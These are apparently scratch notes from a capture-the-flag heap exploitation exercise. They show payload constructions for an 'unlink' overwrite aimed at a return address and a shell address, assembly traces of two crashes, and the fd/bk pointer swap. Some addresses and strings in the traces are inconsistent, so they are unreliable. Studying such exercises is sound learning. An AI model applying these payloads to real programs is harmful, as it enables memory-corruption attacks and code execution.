





unk: payload = "A".4 + p32(ret\_addr\_location) +  
cyclic(8) + p32(heap\_leak + 8) + p32(shell\_addr)

mov eax, [ebp+8] // ebp+8 = 0x98fe428 : 0x00000000

mov eax, [eax+4] // eax = 0x98fe428 : 0x00000000,

0x00000000

mov [ebp-4], eax // ebp-4 = 0xffa28ff4 : 0xf7786000

eax = 0x0

mov eax, [ebp+8] // ebp+8 = 0x098fe428 : 0x0

mov eax, [eax] // eax = 0x98fe428 : 0x0

mov [ebp-8], eax // eax = 0x0

mov eax, [ebp-8] // ebp-8 = 0xffa28ff0 : 0x0

mov edx, [ebp-4] // ebp-4 = 0xffa28ff4 : 0x0

mov [eax+4], edx // eax = 0x0

eax+4 = 0x4

edx = 0x0

SIGSEV

unlink: payload = cyclic(72)

mov eax, [ebp+8] // ebp+8 = 0xffffa8000: 0x99c2428:

0x61616165 "aaae"

mov eax, [eax+4] // eax = 0x99c2428: 0x61616165  
"aaae"

eax+4 = 0x99c2428: 0x61616166  
"aaaf"

mov [ebp-4], eax // eax = 0x61616166 "aaaf"

mov eax, [ebp+8] // ebp+8 = 0xffffa8000: 0x99c2428:  
0x61616165 "aaae"

mov eax, [eax] // eax = 0x99c2428: 0x61616165  
"aaae"

mov [ebp-8], eax // eax = 0x61616165 "aaae"

mov eax, [ebp+8] // ebp+8 = 0xffffa7ff0: 0x61616165  
"aaae"

mov eax, [ebp-4] // eax = 0x61616165 "aaae"

ebp-4 = 0xffffa7ff4: 0x61616166



mov edx, [ebp-4] // eax = 0x61616165 "aaaae"

ebp-4 = 0xffff7fff: 0x61616166  
"aaaaf"

mov [eax+4], edx // edx = 0x61616166 "aaaaf"

eax = 0x61616165 "aaaae"

eax+4 = 0x61616169

SIGSEV

unlink: payload = cyclic(16) + ptr(heap-leak+8)  
+ ptr(ret\_addr\_location)

C  
B → fd → bk = B → bk

A  
B → bk → fd = B → fd  
C